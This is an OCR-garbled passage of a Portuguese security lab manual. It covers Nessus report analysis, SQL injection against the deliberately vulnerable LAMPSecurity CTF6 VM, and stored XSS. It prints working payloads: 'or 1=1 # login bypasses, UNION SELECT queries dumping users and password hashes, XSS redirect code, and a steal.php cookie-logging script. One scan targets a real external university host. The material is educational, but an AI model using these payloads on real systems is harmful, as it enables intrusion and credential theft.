2. Em seguida cligue em “Launch Scan” para dar inicio a varredura na rede

virtual interna.

3. Realize o mesmo procedimento para realizar uma varredura em uma rede

externa, preenchendo os campos da seguinte forma:
a. Name: Varredura de Rede Externa 1

b. Type: Run Now



c. Policy: Rede Externa

d. Scan Targets: www.inf.ufsc.br

Tarefa 3: Analisar os relatérios
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Agora que ja realizamos as varreduras, vamos analisar os resultados.

1. Para acessar a tela de relatérios clique no menu superior “Reports”.

2. De um duplo clique no nome do relatério para analisa-lo.

Vamos comecar analisando o relatério “Varredura de Rede Virtual 1™

Varredura de Rede Virtual 1  Vulnerability Summary | Host Summary

Completed: Apr 1, 2012 8:40

i Filters NoFiters @ Add Filter

Download Report
Remove Vulnerability | Audit Trail

® Clear Filters

Family

HTTP TRACE / TRACK Methods Allowed

DNS Server Cache Snooping Remots Information Disclosure
Apache 2.2 < 2.2.22 Multiple Vulnerabilities

Apache HTTP Server htfpOnly Cookie Information Disclosure
IP Forwarding Enabled

Nessus SYN scanner

Nessus Scan Information

VMware Virtual Machine Detection

Ethemet Card Manufacturer Detection

05 Identification

Service Detection

Common Platform Enumeration (GPE)

Device Type

HTTP Server Type and Version

Traceroute Information

VMware ESX/GSX Server defection

HyperText Transfer Protocal (HTTP) Information
TCP/IP Timestamps Supported

HTTP Methods Allowed (per directory)

ICMP Timestamp Request Remote Date Disclosure
Netwark Time Protocel (NTP} Server Detection

DNS Server Datection

Host Fully Qualified Domain Name (FQDN) Resolution

Authenticated Check: OS Name and Installed Package Enumeration

Apache Banner Linux Distribution Disclosure
Software Enumeration (SSH)
Backported Security Patch Detection (WWW)

Figura 25 - Tela de relatérios do Nessus

DNS
Web Servers
Web Servers
Firewalls

Port scanners
Settings

General

Misc.

General

Senvice detection
General

General

Web Servers
General

Service detection
Web Servers
General

Web Servers
General

Service detection
DNS

General

Settings

Web Servers
General

General

Na tela da figura 25, temos a lista de vulnerabilidades encontradas em todos o0s

hosts da rede alvo, classificados de acordo com a gravidade do risco.
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3. Para visualizar a lista de vulnerabilidades encontradas em um host especifico
da rede, basta clicar no topo do relatério em “Host Summary” como mostra a

figura 26:

Reporls  Scans Policies

Varredura de Rede Virtual 1 Vulnerability Summary | Host Summary Download Report
Completed: Apr 1, 2012 8:40 Audit Trail

Fiters NoFilters @ Add Fliter Clear Filters

Vulnerabillities

192.168.6.131

192.168.6.2
192.168.6.1
192.168.6.133
192.168.6.254

Figura 26 - Selecé@o da opcéo "Host Summary" no Nessus

Desta forma é possivel visualizar em cada linha da tabela um host diferente da rede
alvo e um grafico colorido indicando o nimero de vulnerabilidades encontradas de
acordo com a gravidade do risco.
4. Para se obter mais informacdes sobre estas vulnerabilidades, basta dar um
duplo cligue em cima do host desejado. Com duplos cliqgues em cima das
novas informag¢des mostradas é possivel se obter mais informagdes, como

pode ser visto na figura 27:

ho ports
o

Host Vulnerabilities v § Port/Prot Vulnerabilities v | Plugin ID & | Severity v | Name 0
19 B e l 11212 Medium HTTP TRACE / TRACK Methods Allowed
192.168.6.2 0/top 57791 Medium Apache 2.2 < 2.2.22 Multiple Vulnerabilites
192.168.6.1 0/udp 57702 Medium Apache HTTP Server httpOnly Cookie Information Disclosure
192.168.6.133 0 /icmp 10107 Info HTTP Server Type and Version
192.168.6.254 123/ udp 11219 nfo Nessus SYN scanner

135/ top _ 22064 Info Senvice Detection

56496 / top 24260 Info HyperText Transfer Protocol (HTTP) Information

43111 Info HTTP Methads Allowed (per directory)

Figura 27 - Explorando relatérios no Nessus

Na imagem seguinte é mostrado o relatério da varredura “Varredura de Rede

Externa 1”:
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Varredura de Rede Externa 1 Vulnerability Summary | Host Summary Download Report
Completed: Apr 1, 2012 8:68 Remove Vulnerability | Audit Trail

Fiters NoFilters @ Add Fliter L ] Clear Filters

Plugin ID: 17710 Port/ Service: www (80/icp) Severity: High x
Plugin Name: PHP < 4.4.4 Multiple Vuinerabilities

Synopsis: The remote web server uses a version of PHP that is affected by multiple vulnerabilities.

Description
According to its banner, the version of PHP installed on the remote host is clder than 4.4.4. As such, itis
patentially affected by the following vulnerabllities :

- The c-client library 2000, 2001, or 2004 for PHP does not check the safe_mode or open_basedir functions.
(CVE-2006-1017)

- Abuffer overflow exists in the sscanf function.
(CVE-2006-4020)

Solution
Upgrade to PHP version 4.4.4 or later.

See Also
https:/ibugs. php net/bug. php?id=38322
hitp:ihwww.php.netireleases/4 4 4.php

Risk Factor: High

CVSS Base Score
9.3 (CVSSZBAV:NIACMIAUN/C.C/:CIAC)

CVSS Temporal Score
7.3 (CVSSZ#E:POC/RL:OF/RC:ND)

Plugin Qutput

Version source : Server: Apache/2.0.59 (FreeBSD) DAV/2 PHP/4 4.2 mod_ssli2.0.59 OpenSSL/0.9.8b
Installed version - 4.4.2

Fixed version : 4.4.4

CPE
cpeifaiphpiphp

CVE
CVE-2008-1017
CVE-2006-4020

Figura 28 - Detalhamento de relatérios no Nessus

Na figura 28 podemos ver as informacdes detalhadas de uma das vulnerabilidades
encontradas no alvo “www.inf.ufsc.br’. Dentre estas informagdes, podemos ver a
sinopse e a descricdo da vulnerabilidade encontrada e em seguida a solugdo
apresentada pelo Nessus para resolver o problema. Ha ainda referéncias de links
externos relacionados com a vulnerabilidade encontrada.
Se vocé preferir, é possivel ainda gerar um documento HTML contendo o relatério,
clicando no canto superior direito do relatério no Nessus em “Download Report”.
5. Agora que vocé ja sabe analisar os resultados obtidos, analise
cautelosamente cada vulnerabilidade encontrada nos relatérios de ambas as

varreduras realizadas para aprender um pouco mais sobre elas.



103

6.3 — SQL Injection Utilizando o MANTRA

Objetivos
e Utilizar conhecimentos da linguagem SQL para obter informacdes
armazenadas em um servidor vulneravel.

e Utilizar comandos SQL para obter acesso privilegiado ao servidor vulneravel.

Pré-Requisitos
e Leitura da secédo 3.1.1 — SQL Injection.
¢ Conhecimentos basicos da sintaxe SQL.
e Execucdo simultdnea de 1 maquina virtual Windows ou Ubuntu e 1 maquina

virtual CentOS5 LAMPSecurity CTF6 para a realizagéo dos testes.

Neste roteiro vamos utilizar uma maquina virtual externa ao desenvolvimento deste
trabalho chamada LAMPSecurity CTF6 que € um servidor preparado com falhas
propositais para que possamos explora-las. Para obté-la basta acessar (SOURCE
FORGE, 2012). Uma copia desta méaquina virtual est4 disponivel junto com as
demais maquinas virtuais deste trabalho.

Além da maquina LAMPSecurity CTF6 que iremos utilizar como alvo em nossos
testes, iremos utilizar como ferramenta principal para a realizagdo dos testes o
framework open source OWASP Mantra, disponivel para download em: (MANTRA,
2012).

O framework Mantra foi construido na forma de browser e é multiplataforma. Desta
forma poderemos realizar os testes tanto de maquinas virtuais Windows como
Ubuntu, pois ambas possuem o browser Mantra instalado.

Como testes para praticar uma injecdo de comandos SQL iremos ganhar acesso de

administrador no servidor LAMPSecurity CTF6 sem digitar a senha de administrador
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para login e posteriormente iremos encontrar uma maneira de obté-la para acessos
futuros.
Tarefa 1. Obter acesso de administrador sem digitar a senha
Primeiramente procure descobrir em sua rede virtual qual € o endereco alocado para
o servidor da méaquina virtual LAMPSecurity CTF6 (Vocé pode usar a ferramenta
Nmap para descobrir isso facilmente). Vamos utilizar como endere¢o neste roteiro
http://192.168.6.135, mas vocé deve substitui-lo pelo endereco o qual encontrou em
suarede.

1. Abra o navegador Mantra e em seguida digite o endere¢co encontrado para

acessar o servidor HTTP do LAMPSecurity CTF6. (Ex: http://192.168.6.135).

2. Clique no menu “Log In” para acessarmos a tela de autenticacgéo.

Agora vamos utilizar uma ferramenta inclusa no Mantra chamada SQL Inject me

para testar vulnerabilidades de injecdo SQL na pagina de login.

3. Abra a SQL Inject Me bar seguindo o seguinte caminho: Tools - Application
Auditing = SQL Inject ME - Open SQL Inject ME Sidebar, como mostra a

figura 29:

Mew Tab 3

Tacls Options
2, Start Private Browsing Y Bookmarks 3
Histary o Managers b ols- M outline- [BResizes 7Toolss == Wiew Sources L Options~
» Privacy and Security 3
o Downloads
oy Debug Taols »
Save Page As... I s Utilities v
dLink Help »
. Editors 3
e, Rtz 12 Metwark Utiities >
Web Developer » Misc r k
Application Auditing » REST Client
Ful Screen Bbiication ig B8l REST Clien
et s Proxy 3 Tamper Diata
= AT R Live HTTP headers
2 Exit Edit This Meanu. .. Uncategorised e HttpFox i
¥Y s .
= ITUEZETLS LI b o
3 RefCaontrol Options. .
CTF 6 - Widgets Inc. Homepage 5 P
s} = = Default User Agent >
o Hi Log I Weh Developer 3
. one e web Developer v
Z &£ 504 Client 3
‘ e Selenium IDE
Eoster
s About Us Log In Groundspeed
Showehide hackbar
Are you looking to buy or sell widgets? - 4
a2 ¥ 2 o4 ; 2 Please Authentics @ modi, Headers
- Widgets, Inc. iz the internet's longest running
L3 and most respected wendor of widgets. We Username: | | = - — =
@ cat supply your widget nesds or prowide you DaLEREEY = SOL Inject ME r:-pr. SCL Inject Me Sidebar
with reseller materials. Whatever yvour interest - #55 ME d Options
& in widgets, we're here to help you. COur About
dedicated staff of professionals can provide (G} Cookies Manager+ Help
-7 widget support. We € SUre vour -
= 24-7 widget 1. W mak

Figura 29 - Como abrir a "SQL Inject Me Sidebar" no MANTRA
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4. Em seguida marque todas as opg¢Oes para serem testadas e clique em “Test

all forms with all attacks”, como mostra a figura 30:

Compass

&,
.j ecurity

SQL Inject Me

S0L Inject Me lets wou best the page you're viewing For S0L
Injection vulnerabilities.

Each tab represents a form on the page and lists all the
fields, Just fill in good walues For all the fields and mark.
which ones are to be tested (they will become vellow) then
click either "Test with All Attacks" or "Test with Top Attacks".

Test all forms with all attacks

Test all Farms with top atbacks

loginFarm
Execute Fun all bests .
v Log In -
password

«| | Change this to the value you want tested =

username

«| | Change this to the value you want tested =

+'| | Change this ta the value vou want kested

Figura 30 - SQL Inject Me Sidebar

Os resultados apresentados apds 0 teste nos mostram que a pagina nado esta
vulneravel a ataques de injecdo SQL de acordo com os varios testes realizados pela
ferramenta como a injecdo de strings 1 OR 1=1 para tentar enganar o banco de
dados. Isso quer dizer que a pagina esta filtrando os dados para prevenir tais
ataques.
Em seguida, vamos tentar descobrir que tipo de filtro a pagina esté utilizando para
tentar contorné-lo. Para isso iremos utilizar outra ferramenta chamada Firebug.

5. Abra o Firebug seguindo o seguinte caminho: Web Developer - Firebug -

Open Firebug, como mostra a figura 31.:
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Mew Tab » Tools P n=login
“) Skart Privake Browsing # Bookmarks ko
_ = ;
Histary v | @ Informations L4 Miscellaneous o7 Outliner |13 Resize- x
I »
; Downloads | -
‘ Find... ki
i »
Save Page As... ﬁpltlnns .
=
Send Link... :
F=1 Print... »
Weh Dey ar & FiressH
Full Screen
& HttpFox 4
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Figura 31 - Como abrir o Firebug no MANTRA
6. Em seguida, cligue no botdo de inspecdo de elemento na janela da
ferramenta Firebug que aparece na parte de baixo da tela (contorno em
vermelho) e depois cligue no formulario da pagina de login para

inspecionarmos o cédigo, como na figura 32:
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About Us

Are you looking to buy or sell widgets?
Widgets, Inc. is the internet's longest munning
and most respected vendor of widgets. We
can supply your widget needs or prowvide you
with reseller materials. Whatever your
interest in widgets, we're here to help you.
Our dedicated staff of professionals can
provide 24-7 widget support. We make sure
your widgets widget propetly, and take the
headache owt of widget deployment. We can
help you trait your own staff of widgeters or
widget your widgets for you. We have
financing so that we can meet your widget
needs regardless of your budget. Contacta
sales representative now|
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Figura 32 - Inspecéo de elemento no Firebug

Podemos observar no cddigo da figura 32, que o formulario de login é verificado a

partir de um Javascript, 0 que ndo é recomendado para a prevencao de ataques de

injecdo SQL, pois podem ser contornados. Para conseguirmos realizar nosso ataque

com sucesso, teremos que desviar desta verificagdo feita com o Javascript. Para

isso, utilizaremos outra ferramenta chamada Live HTTP Headers, a qual ird nos

auxiliar na captura, leitura e edicdo de cabecalhos de requisicbes HTTP trocadas

entre o nosso browser cliente e o servidor.

7. Abra o Live HTTP Headers clicando no icone com um “L” na barra lateral

esquerda do Mantra e verifique se a opcdo “Capture” da ferramenta esta

marcada, como mostra a figura 33:
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2 &l ‘L Live HTTP headers

*' | Headers. Generatar Config About

2 HTTP Headers

H

£ |

savedll... | | Replay.. | | Qear || Close

|
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Figura 33 - Como abrir 0 "Live HTTP headers" no MANTRA

8. Mantenha o Live HTTP Headers aberto, va até a pagina de login e entre com

quaisquer dados para usuario e senha, clicando em seguida em “Log In”.

Vocé vera que o Live HTTP Headers capturou o trafego e mostra as informacfes na
aba “Headers”. Procure nestas informacgdes a linha que contém os dados de login,

como usuério e senha. Veja no exemplo da figura 34:

A Live HTTP headers (=13

| Headers | &Generator Config About

HTTF Headers
http: #1192, 168.6.135index. php?action=lagin A

POST findesx.phpfaction=login HTTR/1.1
Hosk: 192,168.6,135
User-Agent: MozillafS.0 (windows NT 5.1; r:9.0.1) Geckof20100101 Firefouxf9.0.1 FirePHP /0.6
Accept: textfhtml, application)xhtml+:xml, application/xml;q=0.9,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: 1S0-8859-1,utf-8;0=0.7,*;0=0.7
Connection: keep-alive
Referer: htkp:ff192.165.6, 135/index. php?action=login
Cookie: PHPSESSID=alalavovOnwZegfeejrapy 7257
x-insight; activate L3
Content-Type: application)<-www-Form-urlencoded
Content-Length: 29
I username=testedpassword=teste

HTTR{1.1 200 OK
Date: Thu, 12 Apr 2012 02:34:44 GMT o

< |
Save all... Replay. .. (] Capture Clear Close

|8

Figura 34 - Live HTTP headers
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9. Selecionando a linha que contém estas informacdes, clique no botao Replay.

Nesta janela poderemos editar as informagcdes de login e senha e reenvia-las ao
servidor sem que elas sejam filtradas pelo Javascript como estava ocorrendo
anteriormente.

Quando os dados séo enviados ao banco de dados e as instru¢gdes sdo construidas
dinamicamente e sem parametrizacdo, é possivel enganar o banco de dados e ao
invés de mandar apenas um nome como usudrio, mandar um nome seguido de um

complemento para a instrugéo.

Instrugdo normal;

username="usuario’

Instrucéo com injecéo de cédigo SQL:

username="'ysuario'or1=1%#

Resultado da instrucao:
username= " usuario'or1 =1 #"'

Figura 35 - Exemplo de injecdo de codigo SQL

Por exemplo, na figura 35, ao simplesmente digitar 0 nome de um usuéario, o banco
de dados ira coloca-lo entre aspas simples para gerar a instrucdo desejada e
retornara o resultado correto do banco de dados. Mas se ao invés disso digitarmos [
usuério ‘or 1 =1 # ] sem os colchetes, a instrucdo a ser gerada sera outra. Como 1
€ sempre igual a 1, a instrucéo fara com que todos os nomes de usuarios sejam
retornados do banco de dados caso a operacdo seja uma consulta. Isso se da
porque a aspa simples digitada completa a primeira ja inserida pela aplicacdo e o
restante do texto digitado € interpretado como comando até encontrar o caractere ‘#
sustenido, que é interpretado como comentério no caso de o banco de dados ser o

MySQL, invalidando o resto da mesma linha.
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10. Substitua as informacdes para que fiquem da seguinte forma: [ username="'or

1=1&password="'or 1=1 ] sem os colchetes e em seguida clique em “Replay”.

Vocé vera que ainda ndo conseguimos efetuar a autenticagdo, mas conseguimos
obter ao menos um erro do banco de dados, o que significa que estamos
conseguindo injetar codigo diretamente no banco de dados sem passar pela

verificagéo do Javascript. A figura 36 ilustra o erro obtido:

Cuety error with select user id from user where user username = "or 1=1" You have an error in
your S0L syntas, check the ranval that corresponds to your MyS0L serwer wersion for the right
symtax to use near " at line 2

Figura 36 - Erro obtido ao tentar injetar cddigo SQL

O erro nos da uma informag&o valiosa. Agora sabemos que o banco de dados é
MySQL e portanto utilizaremos apenas tentativas de comandos com a sintaxe do
MySQL.
Vamos tentar adicionar o caractere “#” (caractere de comentario do MySQL) ao final
de cada campo para indicar ao MySQL que tudo o que vier depois desse caractere é
um comentério e ndo deve ser interpretado pelo banco de dados. Assim se houve
alguma outra verificagdo que esteja nos atrapalhando, ela sera ignorada pelo
caractere de comentario.
11.Adicione o caractere sustenido “#” deixando a linha de comando da seguinte
forma: [ username='or 1=1 #&password='or 1=1 # ] sem 0s colchetes e em

seguida clique em “Replay”.

Ainda nos falta alguma coisa para conseguir efetuar o login com sucesso. Suponha
gue para o campo da senha o banco de dados esteja utilizando uma funcdo de
criptografia, como por exemplo MD5(). Desta forma precisando adicionar um

parénteses “)” para fechar a fungdo no campo password.
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12.Agora finalmente substitua a linha para que figue da seguinte forma: [
username='or 1=1 #&password=") or 1=1 # ] sem os colchetes e em seguida

cligue em “Replay”.

Finalmente conseguimos efetuar o login com sucesso sem digitar dados como
usuério e senha. Vocé pdde perceber que o fato de ndo conhecermos o banco de
dados ndo nos garante um procedimento simples e direto para efetuar uma injegao
de codigo SQL. E preciso efetuar algumas tentativas, prestar atencéo as diferentes
respostas e erros emitidos pelo banco de dados e em alguns casos utilizar algum

conhecimento de SQL para supor algumas situagoes e efetuar novas tentativas.

Tarefa 2: Obter dados do banco de dados do servidor, como o usuario e senha
do administrador
Utilizaremos o mesmo endere¢co da tarefa anterior para acessar o servidor da
maquina virtual LAMPSecurity CTF6 que neste roteiro seguiré http://192.168.6.135.
Neste servidor, o0s posts dos usuarios sdo armazenados e acessados
individualmente através de um identificador.

1. Através do Mantra, acesse o endereco http://192.168.6.135/?id=01 alterando

o endereco IP para o enderego alocado em sua rede.
2. Caso vocé ndo visualize nenhum post, altere o numero do id para 02, 03, 04,

... até encontrar um post.

Agora vamos testar se o servidor esta fazendo alguma verificacdo nos enderecos
digitados pelos usuérios adicionando um apdstrofe (‘) ao final do endereco.
3. Adicione um apéstrofe ao final do enderego para testar se alguma verificagdo

esta sendo feita Ex: http://192.168.6.135/?id=01’
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Podemos notar que a pagina exibida mudou, mas nenhum erro como o 404 de
pagina ndo encontrada foi exibido. Isso significa que nenhuma verificacdo esta
sendo feita nos enderecos HTTP digitados pelos usuéarios no navegador.
4. Na barra lateral do Mantra, clique no icone com uma bola verde para exibir a
hackbar a qual utilizaremos para executar alguns testes, como mostrado na

figura 37.

= ;

i~ (D 192.188.6.135/7d=01'

@Disable' ]_Conkies' # 055+ =|Formst [SYImages~ ﬁlnfnrmation' :'.Miscellaneous' j“OutIine' 1/Resizer &Tﬂols'

INT * = @ 350L- x55+ Encrvptions Encodings  Other-

= Load URL hrtep: //192.1668.6.135/71d=01"'

B it uRL
L Ezecute
Enable Post data Enable Referrer
+* gahout Widgets
*  Widgets Inc.
A 4
_ CTF 6 - Widgets Inc. Homepage
[
= Home | LogIn
i
@
@  About Us . .
News & Announcements
| Are you looking to buy or sell widgets?
e Widgets, Inc. is the internet's longest runming
& and most respected vendor of widgets. We

Figura 37 - Como abrir a hackbar no MANTRA

Vamos utilizar a clausula “ORDER BY” do MySQL para tentar descobrir o nimero de
tabelas utilizadas na base de dados para gerar a pagina.
5. Acrescente na hackbar a cladusula “order by” da seguinte forma:

http://192.168.6.135/?id=01 order by 1
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6. Em seguida selecione o numero 1 que segue a clausula “order by” e utilize o
bot&o “+” localizado na parte superior da hackbar para aumentar o nimero de

tabelas da clausula “order by” até que a pagina se modifique.
A figura 38 mostra o botéo para incrementar o nimero de tabelas da clausula “order

by

+ e

» | @ 192.168.6.135/7id=01 order by 01

@Disable* 1Cu:u:ukies' & 557 |=|Forms~ ESImages- ﬁlnfnrmatiun'

INT v = [@] sq- ®ss- Encryption- Encoding-  Other-

& Load URL http: /7192, 166.6.135/71d=01 order by

B sphe uRL

L Execute

Enable Post data Enable Referrer

Figura 38 - Botéo para incremento do nimero de tabelas na hackbar

Vocé percebera que ao incrementar para o nUmero 8 a pagina nao mostrard mais o
post do usuério. Desta forma, podemos concluir que a pagina utiliza apenas 7
tabelas para gerar a pagina.
Em seguida, iremos utilizar a clausula “UNION” para descobrir algumas informacgdes
do banco de dados.
7. Na hackbar, apague a clausula “order by” seguida do nimero, va até o menu
SQL e clique em “Union select statement”. Digite o nimero de tabelas que

encontramos (N0 NOSSo caso 7).

Veja o caminho na figura 39:
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< v | @ 192.168.6.135/7id=01 order by 8
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= Load URL hty  My3OL v JION: $ELECT. 152,3,4, 55637
M3S0L 3 |

g'E Split LIRL Cracle 3

. Inion select statement

k Execute

i
| Spaces ko inline comments i
oy —— ]ILInicun select skatement i

Figura 39 - Caminho para executar o comando "Union select statement" na hackbar

8. Clique em “Execute” para processar a instrucao.

Podemos ver que agora a pagina exibe alguns nimeros. Estes nimeros sédo as
colunas vulneraveis as quais podemos explorar. Vamos utilizar, por exemplo, a
coluna de nimero 2 para obter a versao do MySQL utilizado.

9. Substitua o nimero 2 da clausula “UNION SELECT” por “version()” e clique

em “Execute”.

Veja que o numero 2 foi substituido por 5.0.45. Esta € a versdo do MySQL utilizado
no banco de dados.
Vamos agora listar todas as tabelas do banco de dados.
10.Modifigue o endereco da hackbar trocando a tabela 2 por “table_name” e
acrescentando “from information_schema.tables” ao final. O endere¢co deve
ficar: http://192.168.6.135/?id=01 UNION SELECT 1,table_name,3,4,5,6,7

from information_schema.tables

A péagina iré exibir a lista de tabelas existentes no banco de dados. Vamos analisar a
tabela “user”.
11.Modifiqgue o endereco da hackbar trocando a tabela 2 por “column_name”, a

clausula “from” por “from information_schema.columns” e adicione a clausula
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“where” com a condigdo “table_name='user”. O endereco deve ficar:
http://192.168.6.135/?id=01 UNION SELECT 1,column_name,3,4,5,6,7 from

information_schema.columns where table_name='user'

A péagina exibe desta vez, somente as colunas da tabela “users”. Observe a
presenca de colunas interessantes como “user_username” e “user_password”.
Vamos obter essas informacoes!
12.Modifique o enderecgo da hackbar trocando a tabela 2 por “user_username” e
uma outra tabela vulnerdvel como a 3, por exemplo, por “user_password”.
Modifique o final da instrugdo para “from user” de forma a extrair os dados da
tabela “user”. O enderegco deve ficar: http://192.168.6.135/?id=01 UNION

SELECT 1,user_username,user_password,4,5,6,7 from user

Observe que agora a pagina exibe o nome do usuério e uma senha criptografada,

como mostra a figura 40:

News & Announcements
Mauris Vel

Posted by: admin

Lorem ipsum dolor st amet, consectetur adipiscing elit. Integer pharetra nulla a velit
euistnod aliquam. Buspendisse potenti Lorern ipsum dolor sit amet, consectebur adipiscing | FES
elit. Class aptent taciti sociosgu ad litora torquent per conubia nostra, per inceptos -
himenaeos. Vestibulum ante psum primis in faucibus orci luctus et ultrices posuere cubilia
Curag; Duis en felis a velit sollicitudin ullamecorper ouis &t sapien. Proin lacinda, manris enismod

pulvinar jaculis, elit dolor interdum ipsutn, eu faculis leo nisi sit amet enim. Phasellus nunc augue,
commado sed eleifend in, ullamcorper a sapien. Phasellus non posuere massa. Morbi sed posuere

urna. Donec tincidunt congue ipsum nec vehicwla, Nullam quis nulla erat. Phaseltus semper pretium
magna at faucibuz. Pellentesque sed enim nec dui posuere blandit.

Maecenas ralesuada blandit mauris vel tincidunt. Praesent vitae nith erat. Donec tincidunt blandit
aliquar. Donec pulvinar suscipit wiverra. Fusce witae diam non orcd adipiscing dapibus nec in
tortor. Donec laoreet feugiat adipiecing. Fusce at augue digniesim mauris tincidunt tincidunt. Sed at
odio ut nisi wehicula porttitor. Quisque elementurn ligula et ibero hendrerit lacinia ac vel eros. Class
aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Suspendisse ut
magna sem, eget pellentesgue turpis. MNam ut welit ac lorem fringills dapibus sit amet vitae leo
Mauris non welit eu neque auctor dignissim. Narm quis ipsum ac lectus commodo adipiscing
interdum placerat mi.

admin

Posted by: 7

| 25edeede0220307b6b 1 TTT6b foeafie?

image

Figura 40 - Visualizag&o da pagina alvo apos inje¢éo de cddigo SQL

A senha esté criptografada e portanto precisaremos decifra-la.
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Vamos supor que a senha foi criptografada utilizando o MD5, que é um padrdo muito
comum na criptografia de senhas.

13.Para tentarmos decifrar a senha utilizando o MD5, copie e cole na hackbar a

senha criptografada, selecione a senha e em seguida clique em: Encryption

- MD5 Menu - Send to... 2 md5.rednoize.com, como mostra a figura 41:

= v | @ 192.168.6.135/7id=01 UNION SELECT 1,user_username,user_password,4,5,5,7 from user

@Disable‘ X cookies- Z €557 [=|Forms~ Elmages' 6InF0rmati0nT L4 Miscellanenus~ ,f“OutIine' M Resize~ }\%Tools1 = Wigw SourceT

INT v = & S50L- %55+ Encryptions | Encodings  Other=

& LosdURL S Sedccded220 MOS Menu | MDS Hash
SH&-1 Menu Sendto...
) sHA-256

‘j ROT1Z |Send ko http:,l',l'mdS.rednoize.com,l’i

mdS.redrioize.com |

B splicURe

L Execute

| Enable Post data Enable Referrer

Figura 41 - Caminho para decifrar uma senha na hackbar

Vocé verd que a senha foi decifrada e ela é: “adminpass”.
Para finalizar vamos testar 0 acesso com o nome de usuario e senha que obtivemos.
14.Clique em “Log In” no menu da pégina, entre com os dados obtidos

(Username: admin e Password: adminpass) e clique no botéo “Log In”.

Veja que obtivemos acesso de administrador na pagina e alguns menus extras

aparecem na péagina.

6.4 - Cross Site Scripting (XSS) Utilizando o MANTRA

Objetivos
e Utilizar conhecimentos de JavaScript para obter dados de acesso de usuarios
em um servidor vulneravel.
¢ Modificar a visualizagdo de uma pagina em um servidor vulneravel.
e Causar o redirecionamento automético de uma pagina por meio de um ataque

XSS.



117

e Criar um link com codigo camuflado com o intuito de enganar vitimas,

levando-as para paginas modificadas.

Pré-Requisitos
e Leitura da secéo 3.1.2 — Cross Site Scripting (XSS).
e Conhecimentos basicos de JavaScript.
e Conhecimentos basicos de PHP.
e Execucdo simultdnea de 1 maquina virtual Windows e 1 maquina virtual

CentOS5 LAMPSecurity CTF6 para a realizagdo dos testes.

Neste roteiro vamos utilizar uma maquina virtual externa ao desenvolvimento deste
trabalho chamada LAMPSecurity CTF6 que € um servidor preparado com falhas
propositais para que possamos explora-las. Para obté-la basta acessar (SOURCE
FORGE, 2012). Uma copia desta maquina virtual est4 disponivel junto com as
demais maquinas virtuais deste trabalho.

Além da maquina LAMPSecurity CTF6 que iremos utilizar como alvo em nossos
testes, iremos utilizar como ferramenta principal para a realizagdo dos testes o
framework open source OWASP Mantra, disponivel para download em (MANTRA,
2012).

Dentre as tarefas deste roteiro, iremos identificar se o servidor esta vulneravel a
ataques XSS e posteriormente executar o ataque contra o servidor, a fim de que ele
atinja como destino final um usuario como vitima.

Tarefa 1: Executar um teste simples de injecdo de JavaScript para identificar
se o servidor € vulneravel a ataques XSS.

Inicialmente é necessario realizar um teste qualquer de injecdo de codigo em algum

campo do site o qual iremos atacar, para saber se o site esta realmente vulneravel a
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ataques XSS. A descoberta de vulnerabilidades XSS pode ndo ser uma tarefa téo
facil. Enquanto alguns sites estdo totalmente vulneraveis, outros podem utilizar
alguns filtros, mas ainda assim estarem vulneraveis e serem mais dificeis de serem
detectados.

Vamos tentar injetar um cédigo JavaScript em um post da pégina inicial para emitir
um popup ao abrir a pagina.

1. Abra o navegador Mantra e em seguida digite o enderego do servidor HTTP
do LAMPSecurity CTF6 para acessar a pagina inicial. (Ex:
http://192.168.6.135).

2. Clique no sub menu “Log In” e autentique-se com o usudrio “labtest” e senha
“labtest”.

3. Clique no sub menu “Add Event’ e preencha o campo “Title” com “Teste de
XSS”. Preencha também o campo Description com o seguinte JavaScript:
<script>alert("XSSed")</script>

4. Clique no botéo “Add Event” e em seguida viste a pagina “Home” clicando no

sub menu da pagina e veja o resultado.

Como vocé pode notar, um popup foi langado na tela ao acessar a pagina. Isso quer
dizer que a péagina esta vulnerdvel a ataques XSS e o contetdo digitado nos
formularios nédo estao sendo filtrados.

O tipo de ataque realizado foi do tipo armazenado, porque o codigo JavaScript ficou
armazenado pelo banco de dados no post que enviamos. Toda vez que um usuario
acessar a pagina inicial, os posts serdo exibidos e juntamente com eles o post
contendo o cddigo JavaScript injetado. Desta forma o cédigo sera executado no
navegador de todos 0s usuarios que visualizarem o post, exibindo o alerta com o

texto “XSSed".
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Tarefa 2: Causar o redirecionamento do usuério que acessar o site atacado
para um outro site, por meio de um atague de XSS armazenado.
Agora vamos imaginar que apds descobrir que o site esta vulneravel a ataques XSS
nos gostariamos de redirecionar todo usuario que acessa-lo para outro site. A
finalidade de um redirecionamento pode variar de acordo com 0s objetivos do
atacante. O proposito pode ser tanto para a exibicdo de um site de publicidade,
quanto para a exibicdo de um site clone que visa lesar o usuario de alguma forma,
como por exemplo roubando seus dados.
1. Na pégina inicial localize o post da tarefa anterior e cligue em “Edit this
event”.
2. Troque a descricdo para o0 seguinte codigo HTML: <meta http-
equiv="Refresh" content="3; url=http://www.google.com.br">
3. Clique no bot&o “Add event” e em seguida v& para a pagina inicial visualizar o

resultado, clicando no sub menu “Home”.

Vocé perceberd que ao acessar a pagina inicial nada de diferente é exibido, mas
apdés 3 segundos a pagina é redirecionada para a pagina do Google, a qual
escolhemos.(O tempo ainda pode ser reduzido para 0, a fim de que o
redirecionamento ocorra quase que imediatamente, entretanto estamos utilizando 3
segundos para podermos ter tempo suficiente para clicar em “Edit this event’ e
alterar o post.)

Tarefa 3: Realizar o roubo de cookies de usuérios que clicarem em um link
malicioso e posteriormente obter acesso no site utilizando o cookie roubado.
Nesta tarefa, iremos criar uma armadilha, na qual usuérios que clicarem em um link

malicioso terdo os seus cookies roubados. Com posse dos cookies de outros
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usudrios iremos acessar o site atacado e autenticar-nos com as credenciais destes
usuarios.
Para que possamos roubar os cookies, iremos criar um script para consolidar o
roubo e posteriormente precisaremos armazenar os cookies roubados em algum
lugar. Para isso, iremos utilizar o servidor Apache instalado em nossa méaquina
virtual Windows.

1. Crie no diretério “C:\Arquivos de programas\Apache  Software

Foundation\Apache2.2\htdocs” dois arquivos: log.txt e steal.php

O arquivo log.txt deve ser deixado em branco, pois iremos utilizé-lo para armazenar
0s cookies roubados.

O arquivo steal.php serd o nosso script de roubo de cookies e deve conter a
seguinte sequéncia de comandos, como mostra a figura 42:

<7php

fcookie = $_GET["cookie"];

fdate = date ("1 ds of F v h:i:s A"D;
fuser_agent = 3_SERWVER['HTTP_USER_AGENT'];
$file = fopen('log.txt', 'a');
fwrite(§file, "DATE : Jdate || USER AGENT
:fuser_agent || COOKIE : Jcookie “n'"DJ;
folose(§F11e);

